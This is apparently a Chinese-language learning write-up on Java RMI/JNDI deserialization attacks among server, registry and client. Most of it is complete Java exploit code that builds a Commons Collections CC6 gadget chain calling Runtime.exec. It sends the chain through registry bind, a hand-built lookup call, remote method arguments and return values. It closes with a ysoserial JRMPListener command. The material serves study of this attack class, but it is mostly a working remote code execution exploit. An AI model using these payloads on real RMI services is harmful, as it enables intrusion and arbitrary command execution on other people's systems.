jndi-互相攻击
基础知识
开始前有必要回忆一下server,register,client的知识点
client是如何反序列化加载register的远程对象的:
-
client暴露了lookup方法,参数可控
-
server提供了恶意类的地址,并向register注册自己远程(恶意)类的服务
-
register为server提供注册功能,同时接受并处理client加载远程类的请求
具体来说:
Client 和 Regisry 基于 Stub 和 Skeleton 进行通信,分别对应 RegistryImpl_Stub 和 RegistryImpl_Skel 两个类。
但实际编程的时候,我们可能register和server用一个类就可以完成,此外我们还需要另外写一个恶意类,凭这两个可以完成攻击
server攻击register
注意到,server向register注册的时候:
package demo;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry= LocateRegistry.createRegistry(7777);
Reference reference = new Reference("test", "test", "http://localhost/python端口");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
}
}
类似于ReferenceWrapper wrapper = new ReferenceWrapper(reference);
,既然是一个绑定,是否存在一些反序列化存储的过程呢?
查阅资料得知
Server 端在执行 bind 或者 rebind 方法的时候会将对象以序列化的形式传输给 Registry,导致 Registry 反序列化被 RCE。
原来是registry.bind("calc", wrapper);
,存在反序列化
测试demo - cc6 反序列化攻击
注册一个Register,让他一直开放1099端口给我们利用
package SAR;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
// 一个简单的Registry类,通过while死循环不会退出进程
public class Register {
public static void main(String[] args) throws RemoteException {
Registry registry = LocateRegistry.createRegistry(1099);
System.out.println("server start!!");
while (true);
}
}
写个InvocationHandlerImpl,这就是个动态代理
package SAR;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class InvocationHandlerImpl implements InvocationHandler, Serializable {
protected Map map;
public InvocationHandlerImpl(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return null;
}
}
写一个server, 里面提供了cc6链子
package SAR;
import com.sun.corba.se.impl.presentation.rmi.InvocationHandlerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMIServer {
public static void main(String[] args) throws Exception {
//我的cc6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
Map<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"aaa");
lazyMap.remove("aaa");
Class c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap, chainedTransformer);
// bind to registry
Registry registry = LocateRegistry.getRegistry(1099);
//InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap);
InvocationHandlerImpl handler = new InvocationHandlerImpl(map2);
Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);
registry.bind("pwn", remote);
// registry.rebind("pwn", remote);
}
}
先启动register,再启动server
可以看到触发反序列化是在bind处
registry.bind("pwn", remote);
为什么需要 InvicationHandlerImpl?像以前的话咱直接serialize(map2);unserialize("ser.bin");
,这里难道是bind的提供的反序列化和原生的反序列化有差异吗?
实现了 Remote 接口的对象才可以被 Server 绑定,CC6 最后要反序列化的是一个 Map 类型的对象,显然不可以被绑定,所以这里就需要用一层动态代理,用 InvocationHandlerImpl 对象(handler)把 Remote 接口代理就可以获取到实现了 Remote 接口的对象。
Register提供了bind方法,而他本身需要继承Remote
InvocationHandlerImpl handler = new InvocationHandlerImpl(map2);
Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);
这份代码和我们平时使用动态代理还是有所不同的,它传入的是handler和并且在里面new了一个remote的class,最终可以产生给map添加一个remote的接口的作用,很神奇,以后有机会要研究一下
代理对象内部有 InvocationHandlerImpl 对象的引用,而后者内部也有一个 map2 的引用,三者都实现了 Serializable 接口,由于反序列化具有传递性,当代理对象被反序列化的时候,最后也会导致 map2 被反序列化。
备注:这里的 InvocationHandlerImpl 可以用现有的 AnnotationInvocationHandler 代替。
上面这句话还得慢慢品
Client攻击Register
Client之所以能攻击register,仍然是因为register在接受Client请求的时候可以提供反序列化的功能
可以看到register的一些常用方法(从bind方法ctrl+点击进去)
测试demo - cc6 反序列化攻击
Client
package CAR;
import SAR.InvocationHandlerImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static void main(String[] args) throws Exception {
//我的cc6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
Map<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"aaa");
lazyMap.remove("aaa");
Class c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap, chainedTransformer);
Registry registry = LocateRegistry.getRegistry(1099);
InvocationHandlerImpl handler = new InvocationHandlerImpl(map2);
Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);
Field field1 = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
field1.setAccessible(true);
UnicastRef ref = (UnicastRef) field1.get(registry);
Field field2 = registry.getClass().getDeclaredField("operations");
field2.setAccessible(true);
Operation[] operations = (Operation[]) field2.get(registry);
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);
}
}
register
参考上文Server攻击register
InvocationHandlerImpl (动态代理)
参考上文Server攻击register
简单分析
被攻击的register仍然还是这样:开启可注册端口
Registry registry = LocateRegistry.createRegistry(1099);
开放后,client可以访问它,Client之所以能攻击register,仍然是因为register在接受Client请求的时候可以提供反序列化的功能
但是我们的客户端需要自己实现一个lookup方法去攻击它
我这里不知道为啥一直是只读模式,没办法看到lookup的源码,参考网上的lookup源码
手动整一个
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);
然后上面还得实现ref啥的
Field field1 = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
field1.setAccessible(true);
UnicastRef ref = (UnicastRef) field1.get(registry);
Field field2 = registry.getClass().getDeclaredField("operations");
field2.setAccessible(true);
Operation[] operations = (Operation[]) field2.get(registry);
Client攻击Server
源码分析
Client调用looup其实是调用了那里的invoke,对应RemoteObjectInvocationHandler#invoke
上面的if都进不去,直接来到RemoteObjectInvocationHandler#invokeRemoteMethod
这里的 ref 是 UnicastRef 对象,来到 UnicastRef#invoke,(这里进去的话建议通过调试的方法进入 )这里代码比较长,重点地方已经标注:
和服务器建立连接
序列化传输数据
反序列化传输过来的数据
而这个远程对象在执行方法的时候,方法参数类型和参数都是以序列化形式传输到 Server(var2 就是方法,var3 就是参数):
最后进入到marshalValue
Server 端处理 Client 请求的方法在 UnicastServerRef#dispatch,对参数进行反序列化之后通过反射进行调用(var8 就是 Method,var10 是经过反序列化之后的参数,var1 是绑定的 Remote 对象):
测试demo - cc6 反序列化攻击
Client
package CAS;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static void main(String[] args) throws Exception {
Transformer[] transformers;
transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
Map<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"aaa");
lazyMap.remove("aaa");
Class c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap, chainedTransformer);
Registry registry = LocateRegistry.getRegistry(1099);
TestInterface remoteObj = (TestInterface) registry.lookup("test");
// 获取到的远程对象实际上是一个代理对象,请求会被派发到RemoteObjectInvocationHandler#invoke方法里面去
remoteObj.testMethod(map2);
}
}
server
package CAS;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
TestInterfaceImpl testInterface = new TestInterfaceImpl();
registry.rebind("test", testInterface);
}
}
动态代理
package CAS;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class TestInterfaceImpl extends UnicastRemoteObject implements TestInterface {
protected TestInterfaceImpl() throws RemoteException {
super();
}
@Override
public void testMethod(Object obj) throws RemoteException {
System.out.println("...");
}
}
新建一个代理类,这个待会在最后的exp部分会调用到
package CAS;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface TestInterface extends Remote {
void testMethod(Object obj) throws RemoteException;
}
条件
根据我的观察,这必须得
Server攻击Client
简单分析
Server 端方法的执行结果也是以序列化的形式传输到 Client 的,还是在 UnicastServerRef#dispatch 方法中:
而在 Client 端同样会对方法的执行结果进行反序列化处理,UnicastRef#invoke:(看看上文Client攻击Server那里)
所以服务端如果可以控制返回的数据为恶意序列化数据,那么客户端就会被 RCE。
测试demo
Client
package SAC;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
TestInterface remote = (TestInterface) registry.lookup("test");
System.out.println(remote.testMethod());
}
}
Server
package SAC;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
Test2InterfaceImpl testInterface = new Test2InterfaceImpl();
registry.bind("test", testInterface);
}
}
Test2InterfaceImpl
package SAC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
public class Test2InterfaceImpl extends UnicastRemoteObject implements TestInterface {
public Test2InterfaceImpl() throws RemoteException {
super();
}
@Override
public Object testMethod() throws RemoteException {
try {
//我的cc6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
Map<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"aaa");
lazyMap.remove("aaa");
Class c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap, chainedTransformer);
return map2;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
TestInterface
package SAC;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface TestInterface extends Remote {
Object testMethod() throws RemoteException;
}
理论上应该可以成功,但是我这里报错了
网上的说法大致是host的问题
Register攻击Server&Client
更准确的表达是:JRMP 服务端攻击 JRMP 客户端。
使用 ysoserial 开启一个 JRMP 监听服务(这里指的是 exploit/JRMPListener):
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 'calc'
只要服务端或者客户端获取到 Registry,并且执行了以下方法之一,自身就会被 RCE:
list / unbind / lookup / rebind / bind